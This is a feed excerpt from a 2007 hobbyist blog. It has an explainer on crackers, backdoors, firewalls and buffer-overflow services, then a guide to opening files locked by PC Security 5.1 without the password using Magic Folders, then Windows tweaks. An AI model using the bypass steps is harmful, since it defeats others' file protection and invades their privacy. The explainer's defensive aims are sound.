src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-5219135490133456267</id><published>2007-08-27T08:08:00.000-07:00</published><updated>2007-08-27T08:09:47.566-07:00</updated><title type='text'>What is hacking ?&gt; Explained here !!</title><content type='html'>What are hackers?&lt;br /&gt;Technically, a hacker is someone who is enthusiastic about computer programming and all things relating to the technical workings of a computer. Under such a definition, I would gladly brand myself a hacker. (There is in fact more to it than that - hackerdom is an entire culture in its own right.) However, most people understand a hacker to be what is more accurately known as a 'cracker'. Worryingly, people tend to prefer to use the word 'hacker' over the more technically correct 'cracker'. This means that many are afraid to use the word for its correct meaning. On this website, when I refer to a hacker, I actually mean a cracker. This is because I prefer to use language that I feel most people understand, rather than language that is technically correct. If you want to know what a cracker is, please read ahead to the next section...&lt;br /&gt;&lt;br /&gt;What are crackers?&lt;br /&gt;Crackers are people who try to gain unauthorised access to computers. This is normally done through the use of a 'backdoor' program installed on your machine. A lot of crackers also try to gain access to resources through the use of password cracking software, which tries billions of passwords to find the correct one for accessing a computer. Obviously, a good protection from this is to change passwords regularly. Another good move is the use of software that supports intruder lockout, where no further passwords are accepted after a certain number of bad passwords have tried. Even the correct password wouldn't allow access. Such blocks are normally released after a period of time has elapsed (eg 15 minutes). Of course, an even better idea is never to put security-sensitive resources on the Internet in the first place. If you don't want something to be accessed from the Internet, then make it so that it is only accessible from your local network, or even just from one computer. However, backdoor programs are programs that can expose files to the Internet that were never meant to be shared with other people. You can protect yourself from these by using a firewall and a good up-to-date anti-virus program. You would normally get such a backdoor program by opening an e-mail attachment containing the backdoor program. It is normal for such a backdoor program to send out more copies of itself to everyone in your address book, so it is possible for someone you know to unintentionally send you a malicious program. Note that this can normally only be done if you are using Microsoft Outlook or Outlook Express. A few backdoor programs can work with any e-mail program by sitting in memory and watching for a connection to a mail server, rather than actually running from within a specific mail program. If you do use Outlook or Outlook Express, and you do not have the correct security patches installed, it may be possible for a malicious program to be executed from an e-mail when you receive it, without the need for you to click on any attachments. Note that the same bug also affects Internet Explorer. A security patch is available for this, but personally I would advise that you use different mail and web browsing software. There are other ways of cracking as well, some more widespread than others. See How do hackers hack? for more information. Note that on most of this website, I refer to 'hackers' instead of 'crackers'. I mean 'crackers'. I explain this in more detail above.&lt;br /&gt;&lt;br /&gt;What damage can a hacker do?&lt;br /&gt;This depends upon what backdoor program(s) are hiding on your PC. Different programs can do different amounts of damage. However, most allow a hacker to smuggle another program onto your PC. This means that if a hacker can't do something using the backdoor program, he can easily put something else onto your computer that can. Hackers can see everything you are doing, and can access any file on your disk. Hackers can write new files, delete files, edit files, and do practically anything to a file that could be done to a file. A hacker could install several programs on to your system without your knowledge. Such programs could also be used to steal personal information such as passwords and credit card information. Some backdoor programs even allow a hacker to listen in on your conversations using your computer's microphone if one is attached! Hackers can do great damage to your computer. They could delete vital files from your hard disk, without which your computer could not work. However, you can re-install these from backups (you do keep backups, don't you?) In theory, the absolute worst damage a hacker could do is turn your computer into a large paperweight. It is possible - the CiH virus demonstrated how. This virus attacked your computer using the then new Flash BIOS technology. This capability was intended to be used to upgrade your computer's BIOS. (The BIOS is a program stored on a chip inside your computer. It controls quite a lot of low-level stuff and is a very vital part of your computer. It is the BIOS that does all the memory checks when you turn on, and also performs the first stage in loading your operating system.) However, the virus used this 'feature' to destroy the BIOS. Without the BIOS, the computer can't work. The only way to recover from this would be to replace your computer's motherboard. At the time of writing this, there are no backdoor programs that can do the same thing, but it is easy enough for a hacker to install a virus that does. Since the CiH virus, many BIOSs have a "flash write protect" option in BIOS setup, and/or a jumper setting on the motherboard that has a similar effect. See your motherboard manual for details.&lt;br /&gt;&lt;br /&gt;How does a firewall protect me?&lt;br /&gt;Basically, firewalls protect your computer from unauthorised access attempts. There are two kinds of firewall. Networked computers tend to be connected to the Internet through just one or two computers (hence only one Internet connection is required). These computers behave as firewalls by blocking any unauthorised packets. Any other packets are passed on to the computer they are intended for. This kind of firewall is called a corporate firewall. The kind of firewall you may be more familiar with is a personal firewall- this is a program that runs on your computer, and blocks any unauthorised incoming packets. Personally, I use ZoneAlarm. The great thing about ZoneAlarm is that it is easy to configure. Also, it only allows chosen programs to access the Internet- allowing you to block hackers that use standard protocols such as FTP. In case of emergency, it also has an emergency stop button, which allows you to block allfree by private individuals and charities. Businesses, governments, and educational institutions can download ZoneAlarm on the basis of a 60-day free trial. See ZoneLab's website for more information. access to the Internet immediately. ZoneAlarm can be downloaded and used for Remember that although a firewall stops hackers from getting in, it will not remove any existing 'backdoor' software from your machine. For this, you need a good anti-virus product like Norton or Sophos. Also make sure that you use your anti-virus software regularly, and that you keep it up-to-date.&lt;br /&gt;&lt;br /&gt;How do I report hackers?&lt;br /&gt;When an access attempt occurs, if you have alert popups turned on, ZoneAlarm will tell you the IP address of the possible hacker. This looks something like 123.123.123.123 (example only). You can use this information to track down and report hackers to their ISP. Bare in mind that you are unlikely to get any response apart from a simple acknowledgement- they have to deal with hundreds of reports like yours every day. Here is a rough guide of how to report hackers (note: some of the programs referred to are only available in Windows):&lt;br /&gt;&lt;br /&gt;   1. Make a note of all the information ZoneAlarm gives you. If possible, use ZoneAlarm's text log option- many ISPs prefer text log format (personally, I supply ZoneAlarm's text log and an English translation).&lt;br /&gt;   2. Select Start, Run... In the Run box, type in "winipcfg" and then click OK. This will tell you what your IP address is (among other things). Write down the IP address.&lt;br /&gt;   3. Use an Internet tool like SamSpade's address digger to look up which ISP uses the IP address given in your firewall's log.&lt;br /&gt;   4. This will return a lot of technical information. Some ISPs add remarks to this information telling you where to send abuse reports to. Make a note of any such e-mail addresses. If there is no such information, look at the official name for the server (near the top), or the names of the domain name servers. To convert these to an e-mail address, remove everything before the first period, including the period itself, then add 'abuse@' in front of it.&lt;br /&gt;   5. Now send an e-mail to the abuse address(es) you have. If the recipient obviously isn't English (eg if the e-mail address ends in .de (Germany) or .fr (France)), write it in their language, if you know it. If not, don't worry, most people speak at least a little English, and the technical language of computers is the same almost anywhere you go!&lt;br /&gt;   6. Include in the message what ZoneAlarm told you. Also include your own IP address (this is what winipcfg told you), the date, the time, your time zone (in relation to GMT), and an indication of how accurate your computer's clock is (eg if you set it by the atomic clock every day, say so!)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is a port scan?&lt;br /&gt;A port scan is, quite simply, a test to see if a computer exists and responds to access attempts on a certain port (eg TCP port 80, used by the HTTP protocol). Port scans, on their own, are quite harmless and have many legitimate uses. However, they also have a malicious use, which is to test to see if any particular backdoor software is running on a computer for the purposes of then using such backdoor software. In my Internet logs, I include all unauthorised port scans of my computer. I tend to describe these port scans as hack attempts, since it is most likely that this is what they are. To be absolutely pedantic, I shouldn't really describe them as such, since there may be other explanations.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is an IP address?&lt;br /&gt;An IP address is a number that can uniquely identify any computer on the Internet. With the current Internet protocol (IPv4), an IP address is a 32-bit number. That means that as a binary number, it would be stored as 32 ones and zeroes. There are 4,294,967,296 possible IP addresses. However, we humans tend to split IP addresses into four 8-bit numbers, express these numbers using our decimal number system, and separate them with dots. With 8-bit numbers, each number must be a whole number in the range 0 to 255, inclusive. For example, an IP address of 2,071,690,107 would probably be expressed as 123.123.123.123 (example only). Some people might express an IP address in hexadecimal as well (7B7B7B7Bh in this case). The dotted IP address is by far the most common, however. As the Internet grows, plans are being made to increase the size of IP addresses. (The "next" Internet protocol, IPv6, uses 128-bit IP addresses.) The problem with that, of course, is that quite a few Internet protocols would need to be rewritten, since they are designed to work with 32-bit IP addresses. This includes the Internet Protocol itself (IP). Thankfully, Internet packets include an IP version flag, so it would be possible to have both old and new implementations of the IP communicate with each other. (The newer implementation would use the older protocol when communicating with older implementations. Implementations of the IP would know whether a computer was using the older or newer protocol from the version flag. Unfortunately, older implementations would not be able to access anything outside of the 32-bit IP range.) IP addresses can be statically or dynamically allocated. Statically allocated IP addresses always refer to the same computer. However, dynamically allocated IP addresses can refer to different computers at different times. For example, if you have a dial-up Internet connection, your IP address doesn't become unused when you hang up- it is allocated to someone else. When you reconnect, you are allocated a new IP address. This is dynamic allocation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can I hack?&lt;br /&gt;I don't like that first person pronoun... I don't mind explaining how hackers hack, but I won't explain how you can hack. This is not a pro-hacking website. This is a computer security site. My aim is not to encourage or assist hacking in any way. I aim to try to inform people of the risks that they may be exposed to, so that they can better protect themselves from these risks. I also provide this website as a resource for those with an academic interest. If you want a rough idea of some of the cracking methods that other people (not you) use, just read on to the next section.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How do hackers hack?&lt;br /&gt;There are many ways in which a hacker can hack. The most common way is by using a backdoor program. See What damage can a hacker do? for more information on these. However, there are some 'special' cases. Click a link below for more information. NetBIOS - UDP 137, UDP 138, TCP 139&lt;br /&gt;ICMP Ping - Internet Control Message Protocol&lt;br /&gt;FTP - TCP 21&lt;br /&gt;rpc.statd - TCP 111, TCP 9704&lt;br /&gt;lpr - TCP 515&lt;br /&gt;HTTP - TCP 80&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can NetBIOS be harmful?&lt;br /&gt;NetBIOS hacks are the worst kind, since they don't require you to have any hidden backdoor program running on your computer. This kind of hack exploits a bug in Windows 9x. NetBIOS is meant to be used on local area networks, so machines on that network can share information. Unfortunately, the bug is that NetBIOS can also be used across the Internet - so a hacker can access your machine remotely. Not all Windows computers are vulnerable to this kind of attack. If you have a firewall that blocks incoming NetBIOS packets, you are safe. Some network configurations will also be immune. To find out whether you are vulnerable, visit GRC's ShieldsUP!, and click the "Test My Shields!" image half way down the page. Note that GRC will attempt to connect to your computer using NetBIOS - this is just to test whether your computer is vulnerable. GRC will not retain any information about your computer, nor will any damage be done. NetBIOS uses TCP port 139, UDP port 137 and UDP port 138.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can ICMP Ping be harmful?&lt;br /&gt;ICMP is one of the main protocols that makes the Internet work. It standards for Internet Control Message Protocol. 'Ping' is one of the commands that can be sent to a computer using ICMP. Ordinarily, a computer would respond to this ping, telling the sender that the computer does exist. This is all pings are meant to do. Pings may seem harmless enough, but a large number of pings can make a Denial-of-Service attack, which overloads a computer. Also, hackers can use pings to see if a computer exists and does not have a firewall (firewalls can block pings). If a computer responds to a ping, then the hacker could then launch a more serious form of attack against a computer. People who do have firewalls normally don't bother to report pings, because they are innocent in themselves - allowing the hacker to continue hacking for quite a long period of time.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can FTP be harmful?&lt;br /&gt;FTP is a standard Internet protocol, standing for File Transfer Protocol. You might use it for file downloads from some websites. If you have a web page of your own, you might use FTP to upload it from your home computer to the web server. However, FTP can also be used by some hackers... FTP normally requires some form of authentication for access to private files, or for writing to files. Hackers can get round this by using programs called "backdoor programs". You wouldn't know if you had one of these, unless you used an up-to-date virus scanner regularly. You could get a backdoor program by opening an infected E-mail attachment. FTP backdoor programs, such as Doly Trojan, Fore, and Blade Runner, simply turn your computer into an FTP server, without any authentication. Using a known protocol such as FTP is easier for hackers because the protocol is already defined - not so much new software needs to be written to use it (a normal FTP client could be used - the hacker wouldn't need any specialist software). Also, since FTP has legitimate uses, many firewalls do not block it. Luckily, ZoneAlarm does.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can rpc.statd be harmful?&lt;br /&gt;This is a problem specific to Linux and Unix. I am not too sure with what precisely rpc.statd should be used for. I do, however, know that it is used by hackers. rpc.statd is typically used as a 'file locking status monitor' (whatever that is) on local area networks. Not all versions of Linux/Unix use it, and some versions have had the security glitch I am about to describe fixed. The problem is the infamous unchecked buffer overflow problem. This is where a fixed amount of memory is set aside for storage of data. If data is received that is larger than this buffer, the program should truncate the data or send back an error, or at least do something other than ignore the problem. Unfortunately, the data overflows the memory that has been allocated to it, and the data is written into parts of memory it shouldn't be in. This can cause crashes of various different kinds. However, a skilled hacker could write bits of program code into memory that may be executed to perform the hacker's evil deeds. That is the problem. rpc.statd uses TCP ports 111 and 9704.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can lpr be harmful?&lt;br /&gt;This is a similar problem specific to Linux and Unix. lpr is typically used as a printing system. Not all versions of Linux/Unix use it, and some versions have had the security glitch I am about to describe fixed. The problem is the infamous unchecked buffer overflow problem (again). See rpc.statd for more information on this problem. Basically, the result of this problem is that data can be written into parts of memory it shouldn't be written to. A skilled hacker could write program code into memory to perform his evil deeds. lpr uses TCP port 515.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How can HTTP be harmful?&lt;br /&gt;HTTP stands for HyperText Transfer Protocol. It is one of the main protocols used on the Internet- it is what you are using right now to view this web page. HTTP hacks can only be harmful if you are using Microsoft web server software, such as Personal Web Server. There is a bug in this software called an 'unchecked buffer overflow'. If a user makes a request for a file on the web server with a very long name, parts of the request get written into parts of memory that contain active program code. A malicious user could use this to run any program they want on the server. The Code Red worm takes advantage of this. This worm even managed to infect the Microsoft Windows Update site at one point. Despite what I have just said, it is still possible for home users to become infected with such worms, since some people install Personal Web Server without knowing what it is. Some computers even have PWS pre-installed when you buy them. To see if PWS is running on your computer, hover your mouse over each of the icons in the bottom right corner of your screen, until a small description appears. If one of the icons is PWS, right-click it and choose to exit. Then, use Add/Remove Programs in Control Panel to remove the program from your system. Microsoft Personal Web Server is used to serve web pages directly from your computer to the rest of the world. Of course, you would need to be connected to the Internet 24 hours a day in order to do this. Most people will tend to upload Internet material to their ISP, rather than provide access to it directly from their own computer. And just to clear up any remaining confusion: Microsoft Personal Web Server is not required to surf the Internet- all you need to surf the Internet is a web browser and an Internet connection (such as dial-up).&lt;br /&gt;&lt;br /&gt;HTTP uses TCP port 80. I am not sure if Microsoft has released a patch to correct the problems I describe.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-5219135490133456267?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/5219135490133456267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=5219135490133456267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/5219135490133456267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/5219135490133456267'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/what-is-hacking-explained-here.html' title='What is hacking ?&gt; Explained here !!'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-4940437272842253654</id><published>2007-08-27T08:03:00.001-07:00</published><updated>2007-08-27T08:03:57.419-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PC SECURITY HACK'/><title type='text'>PC SECURITY HACK</title><content type='html'>Simple Guide 4 opening files locked by PC Security&lt;br /&gt;&lt;br /&gt;Pc security.. one of the most comfortable software to keep ur data protected.. even i use it.. but.. check is out..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First of all the bloody disclaimer&lt;br /&gt;&lt;br /&gt;1. Information here is only 4 educational purpose nd u shall be responsible 4 all the damage if any or legal shit that u may Find yourself in ;while using the info here( like an asshole)&lt;br /&gt;2. u understand that u r using the info here 4 yourself only nd not 4 harming anyone in anyway or invading privacy of others. It is also acknowledge that u will not using information here to do anything illegal 4 I shall not be held responsible 4 anything.&lt;br /&gt;&lt;br /&gt;What is PC Security?&lt;br /&gt;It is a very good software 4 password protecting ur files , folders , drives ,programs nd 4 that matter the whole computer by www.tropsoft.com.&lt;br /&gt;&lt;br /&gt;What can this guide do 4 me ?&lt;br /&gt;Not much but it can help u to open a file protected by PC Security ver.5.1 under&lt;br /&gt;Certain conditions.&lt;br /&gt;&lt;br /&gt;What do u mean by "under certain condition" ?&lt;br /&gt;Well u can access file protected by PC Security v5.1 only when the locked file is kept in a folder which is not protected that it is u can see the file kept in a folder nd when u click the file(protected file) it gives u strange messages like " access denied "or the "file is used by another program "which tells u that the file is protected .&lt;br /&gt;&lt;br /&gt;How can I unlock files protected by PC Security nd what all do I need 4 it ?&lt;br /&gt;Well all u need is a program called MAGIC FOLDERS nd a cup of coffee to drink while u play. I have used version 1.31You can get MAGIC FOLDERS here www.pc-magic.com&lt;br /&gt;Now find the file that u want to unlock nd see in which folder it is kept nd now&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Open magic folders (make sure that u install magic folder before doing all this nd make sure that u don't use the feature called encrypted magic folder which comes with it ;usually it does'nt automatically encrypt the folders but make sure that it does&lt;br /&gt;Not do it automatically (I hope it would 'nt do it automatically as it does'nt do with mine) If you're using a non-english version of Win95/98 u may need the english version of the VB5 runtime files. u can get them at:&lt;br /&gt;&lt;br /&gt;http://pc-magic.com/dl.htm if cannot install the magic folder on ur PC u need to download some dll files from above mentioned site.&lt;br /&gt;&lt;br /&gt;Now that u have installed magic folder open it nd hide (make that folder invisible )the folder in which locked file is kept nd close the program nd shut down ur computer now when u will reboot then again open the magic folders now u should make the folder that u have just made invisible visible ie. Folder that u have made invisble before rebooting the system now make it visible again nd now open the folder nd click on the file Congrats fh !! the file is opened nd now u have full access to the file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-4940437272842253654?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/4940437272842253654/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=4940437272842253654' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4940437272842253654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4940437272842253654'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/pc-security-hack.html' title='PC SECURITY HACK'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-1365407839683419132</id><published>2007-08-27T08:01:00.001-07:00</published><updated>2007-08-27T08:01:19.703-07:00</updated><title type='text'>Tricks &amp; cheats</title><content type='html'>Set Processes Priority&lt;br /&gt;&lt;br /&gt;Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.&lt;br /&gt;&lt;br /&gt;CTRL-SHIFT-ESC&lt;br /&gt;1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option&lt;br /&gt;&lt;br /&gt;2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD’s&lt;br /&gt;Shutdown Trick !&lt;br /&gt;&lt;br /&gt;Imidiate rapid shut down window&lt;br /&gt;while shutting down window. open task manager(Ctr+Alt+Del),&lt;br /&gt;Select shut down tab. and press ' Ctrl ' key while select Turn Off from dis tab.&lt;br /&gt;Count 5 4 3 2 1 Voila!!! U r window will rapidly shut down.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Speed Up Ur Shut down !!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Start Regedit.&lt;br /&gt;Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.&lt;br /&gt;Click on the "Control" Folder.&lt;br /&gt;Select "WaitToKillServiceTimeout"&lt;br /&gt;Right click on it and select Modify.&lt;br /&gt;Set it a value lower than 2000 (Mine is set to 200).&lt;br /&gt;&lt;br /&gt;and !&lt;br /&gt;&lt;br /&gt;Like previous versions of windows, it takes long time to restart or shutdown windows xp when the "Exit Windows" sound is enabled. to solve this problem you&lt;br /&gt;must disable this useless sound. click start button then go to settings -&gt; control panel -&gt; Sound,Speech and Audio devices -&gt; Sounds and Audio Devices -&gt; Sounds, then under program events and windows menu click on "Exit Windows" sub-menu and highlight it.now from sounds you can select,choose "none" and then click apply and ok. now you can see some improvements when shutting down your system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;**new **&lt;br /&gt;Crazy !!&lt;br /&gt;Hide ur folders.. never known trick !!!!!!!!!! Disguise them to "Recycle Bin"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}&lt;br /&gt;eg,&lt;br /&gt;if u've a folder games&lt;br /&gt;press F2,&lt;br /&gt;then type, "games.{645FF040-5081-101B-9F08-00AA002F954E}"&lt;br /&gt;c the magic....&lt;br /&gt;then 2 get to original form,&lt;br /&gt;remove the extension using&lt;br /&gt;"ren games.{645FF040-5081-101B-9F08-00AA002F954E} games" in dos or as a bat file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;n u are done..&lt;br /&gt;&lt;br /&gt;~cheers~&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;System information&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;system up time only for xp professional edition&lt;br /&gt;It boasts how long it can stay up. Whereas previous&lt;br /&gt;versions of Windows were coy about how long they went&lt;br /&gt;between boots, XP is positively proud of its stamina.&lt;br /&gt;Go to the Command Prompt in the Accessories menu from&lt;br /&gt;the All Programs start button option, and then type&lt;br /&gt;'systeminfo'. The computer will produce a lot of&lt;br /&gt;useful info, including the uptime. If you want to keep&lt;br /&gt;these, type 'systeminfo &gt; info.txt'. This creates a&lt;br /&gt;file called info.txt you can look at later with&lt;br /&gt;Notepad. (Professional Edition only).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lock pc just by double clicking mouse&lt;br /&gt;&lt;br /&gt;You can lock your XP workstation with two clicks of&lt;br /&gt;the mouse. Create a new shortcut on your desktop using&lt;br /&gt;a right mouse click, and enter 'rundll32.exe&lt;br /&gt;user32.dll,LockWorkStation' in the location field.&lt;br /&gt;Give the shortcut a name you like. That's it -- just&lt;br /&gt;double click on it and your computer will be locked.&lt;br /&gt;And if that's not easy enough, Windows key + L will do&lt;br /&gt;the same.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.&lt;br /&gt;&lt;br /&gt;1. Go to the installation folder of acrobat reader&lt;br /&gt;(C:\program files\adobe\acrobat\reader\.. whatever)&lt;br /&gt;&lt;br /&gt;2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy &amp; paste).&lt;br /&gt;&lt;br /&gt;Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).&lt;br /&gt;&lt;br /&gt;Now your acrobat reader will load very fast&lt;br /&gt;and almost as good as notepad..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remove Stored username and Passwords !&lt;br /&gt;&lt;br /&gt;To remove the Stored User Names and Passwords from your system, try this:&lt;br /&gt;Click Start, Run and type Control keymgr.dll&lt;br /&gt;Remove the entries from the list.&lt;br /&gt;The other ways to access this dialog are:&lt;br /&gt;Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords&lt;br /&gt;-or-&lt;br /&gt;From Control Panel, select your User Account, click Manage your network passwords&lt;br /&gt;&lt;br /&gt;It Works&lt;br /&gt;&lt;br /&gt;~ Cheers ~&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*&lt;br /&gt;&lt;br /&gt;Remove the Username and picture from Windows XP New Start Menu&lt;br /&gt;&lt;br /&gt;The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.&lt;br /&gt;&lt;br /&gt;For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:&lt;br /&gt;Start Windows Explorer and go to this folder:&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures&lt;br /&gt;&lt;br /&gt;From that folder, rename the BMP file which corresponds to your user account.&lt;br /&gt;( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )&lt;br /&gt;Next, rename the following folder:&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures&lt;br /&gt;&lt;br /&gt;to something else, say...&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures&lt;br /&gt;To remove the user name, follow these steps&lt;br /&gt;&lt;br /&gt;Start regedit.exe and navigate to the this key:&lt;br /&gt;&lt;br /&gt;HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer&lt;br /&gt;In the right-pane, set NoUserNameInStartMenu value-data to 1&lt;br /&gt;&lt;br /&gt;Close Regedit.exe and restart Windows.&lt;br /&gt;&lt;br /&gt;You'll end up with a blue space at the top of the Start Menu.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To get back the username and the picture, reverse the above procedure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For the New Start Menu, Windows XP looks for the &lt;username&gt;.bmp file in the folder&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures&lt;br /&gt;&lt;br /&gt;If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the &lt;username&gt;.bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu&lt;br /&gt;&lt;br /&gt;~ Cheers ~.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Notepad Trick ! for complete list move to NOTEPAD TRICKS page !!&lt;br /&gt;&lt;br /&gt;Well quite old but here is d complete collection&lt;br /&gt;&lt;br /&gt;Step 1: Open Notepad&lt;br /&gt;Step 2: Write following line in the notepad.&lt;br /&gt;this app can break&lt;br /&gt;Step 3: Save this file as xxx.txt&lt;br /&gt;Step 4: Close the notepad.&lt;br /&gt;Step 5: Open the file again.&lt;br /&gt;&lt;br /&gt;Voilla!!&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;1&gt; Open Notepad&lt;br /&gt;2&gt; Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters&lt;br /&gt;3&gt; DON'T hit enter at the end of the line.&lt;br /&gt;4&gt; Save the file.&lt;br /&gt;5&gt; Close Notepad.&lt;br /&gt;6&gt; Reopen Notepad.&lt;br /&gt;7&gt; Open the file you just saved.&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;Open a note pad&lt;br /&gt;type Bush hid the facts&lt;br /&gt;save that file,&lt;br /&gt;close it&lt;br /&gt;again open and see...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTEPAD "world trade centre trick".. :Rahul&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Did you know that the flight number of the plane that had hit WTC ...on&lt;br /&gt;9/11 was Q33N ....Open your Notepad in ur computer and type the flight&lt;br /&gt;number i.e Q33N... Increase the Font Size to 72, Change the Font to&lt;br /&gt;Wingdings. U will be amazed by the findings.&lt;br /&gt;&lt;br /&gt;log trick !! make ur Notepad a diary !!&lt;br /&gt;&lt;br /&gt;Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.&lt;br /&gt;Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.&lt;br /&gt;&lt;br /&gt;WHY?&lt;br /&gt;&lt;br /&gt;The reason this happens:&lt;br /&gt;&lt;br /&gt;In notepad, any other 4-3-3-5 letter word combo will have the same results.&lt;br /&gt;It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.&lt;br /&gt;&lt;br /&gt;1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)&lt;br /&gt;2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)&lt;br /&gt;This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters&lt;br /&gt;&lt;br /&gt;~ cheers ~&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SPEED UP MENU DISPLAY.!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.&lt;br /&gt;&lt;br /&gt;Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.&lt;br /&gt;&lt;br /&gt;Navigate to 